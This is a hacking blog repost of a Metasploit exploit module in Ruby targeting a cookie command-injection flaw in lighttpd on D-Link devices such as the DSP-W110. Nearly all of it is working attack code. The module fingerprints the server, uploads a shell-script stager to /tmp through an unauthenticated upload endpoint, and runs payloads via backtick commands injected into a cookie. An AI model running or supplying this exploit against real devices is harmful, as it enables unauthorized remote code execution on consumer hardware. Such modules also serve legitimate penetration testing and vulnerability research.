Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86385731

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link Cookie Command Execution',
      'Description'    => %q{
        This module exploits an anonymous remote upload and code execution vulnerability on different
        D-Link devices. The vulnerability is a command injection in the cookie handling process of the
        lighttpd web server when handling specially crafted cookie values. This module has been
        successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
      },
      'Author'         =>
        [
          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'References'     =>
        [
          ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
        ],
      'DisclosureDate' => 'Jun 12 2015',
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets' =>
        [
          [ 'MIPS Little Endian',  # unknown if there are LE devices out there ... but in case we have a target
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSLE
            }
          ],
          [ 'MIPS Big Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSBE
            }
          ]
        ],
      'DefaultTarget'    => 1
      ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri'    => '/',
        'method' => 'GET'
      })

      if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("#{peer} - Trying to access the device ...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("#{peer} - Uploading stager ...")
    @counter = 1
    execute_cmdstager(
      :flavor  => :echo,
      :linemax => 95  # limited by our upload, larger payloads crash the web server
    )

    print_status("#{peer} - creating payload and executing it ...")

    (1 .. @counter).each do |act_file|
      # the http server blocks access to our files ... we copy it to a new one
      # the length of our command is restricted to 19 characters
      cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
      execute_final_command(cmd)
      cmd = "chmod +x /tmp/#{act_file+@counter}"
      execute_final_command(cmd)
      cmd = "/tmp/#{act_file+@counter}"
      execute_final_command(cmd)
      cmd = "rm /tmp/#{act_file}"
      execute_final_command(cmd)
      cmd = "rm /tmp/#{act_file+@counter}"
      execute_final_command(cmd)
    end
  end

  def execute_command(cmd,opts)
    # upload our stager to a shell script
    # upload takes quite long because there is no response from the web server

    file_upload = "#!/bin/sh\n"
    file_upload << cmd << "\n"

    post_data = Rex::MIME::Message.new
    post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
    post_data.bound = "-#{rand_text_alpha(12)}--"
    file = post_data.to_s

    @counter = @counter + 1

    begin
      send_request_cgi({
        'method'        => 'POST',
        'uri'           => "/web_cgi.cgi",
        'vars_get' => {
          '&request' =>'UploadFile',
          'path' => '/tmp/'
        },
        'encode_params' => false,
        'ctype'         => "multipart/form-data; boundary=#{post_data.bound}",
        'data'          => file
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end

  end

  def execute_final_command(cmd)
    # very limited space - larger commands crash the webserver
    fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
    begin
      send_request_cgi({
        'method'        => 'GET',
        'uri'           => "/",
        'cookie'        => "i=`#{cmd}`"
      }, 5)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end